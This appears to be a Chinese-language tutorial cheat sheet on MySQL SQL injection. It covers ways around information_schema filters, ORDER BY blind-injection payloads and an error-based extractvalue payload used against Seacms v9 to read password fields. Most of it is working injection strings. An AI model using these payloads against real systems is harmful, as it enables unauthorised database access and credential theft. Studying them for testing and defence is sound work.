绕过 information_schema
过滤
information_schema
是 MySQL 中存储元数据的系统数据库,常用于 SQL 注入中获取表名、列名等信息。当 information_schema
被过滤时,可以通过以下方法绕过。
1 替代视图
使用 sys
库(MySQL 5.7+)
sys
库是 MySQL 5.7 及以上版本提供的系统库,包含丰富的元数据信息。
数据库中:SELECT table_name FROM sys.schema_auto_increment_columns
WHERE table_schema = DATABASE();
mysql.innodb_table_stats
表存储了 InnoDB 表的统计信息,可用于获取表名
数据库中:SELECT table_name FROM mysql.innodb_table_stats
WHERE database_name = DATABASE();
2 编码混淆
通过编码混淆关键字,可以绕过简单的字符串过滤。
方法 | eg |
URL | %69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61 |
Unicode | information\u005f_schema |
十六进制 | 0x696e666f726d6174696f6e5f736368656d61 |
3 语法变形
通过语法变形,可以绕过对关键字的直接过滤。
内联注释绕过
数据库中:
SELECT table_name FROM /*!information_schema*/.tables;
关键字分割
数据库中:
SELECT table_name FROM information/**/_schema.tables;
绕过 ORDER BY
注入限制
ORDER BY
注入是一种常见的 SQL 注入类型,通常用于盲注场景。以下是几种绕过限制的方法。
1 联合查询注入
通过联合查询,可以直接获取数据。
2 盲注技术类型
布尔盲注 | ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,1,2) |
时间盲注 | ORDER BY IF(ASCII(SUBSTR(DATABASE(),1,1))=97,SLEEP(5),1) |
正则匹配 | ORDER BY (SELECT table_name) REGEXP '^a' |
3 分页提取数据
通过 LIMIT
和 OFFSET
分页提取数据
数据库中:
ORDER BY (SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET 0);
Seacmsv9 报错注入:
Seacmsv9 是一款常见的内容管理系统,曾存在报错注入漏洞。以下是漏洞利用过程与分析。
1 漏洞利用过程
通过构造恶意请求触发报错注入。
2 报错结果分析
成功回显数据库名
密码字段截断处理
通过 MID()
函数分段读取密码字段
数据库中:extractvalue(1,concat_ws(0x20,0x5c,mid((SELECT password),1,30)))
3 常见问题排查
权限不足
字段过长
特殊字符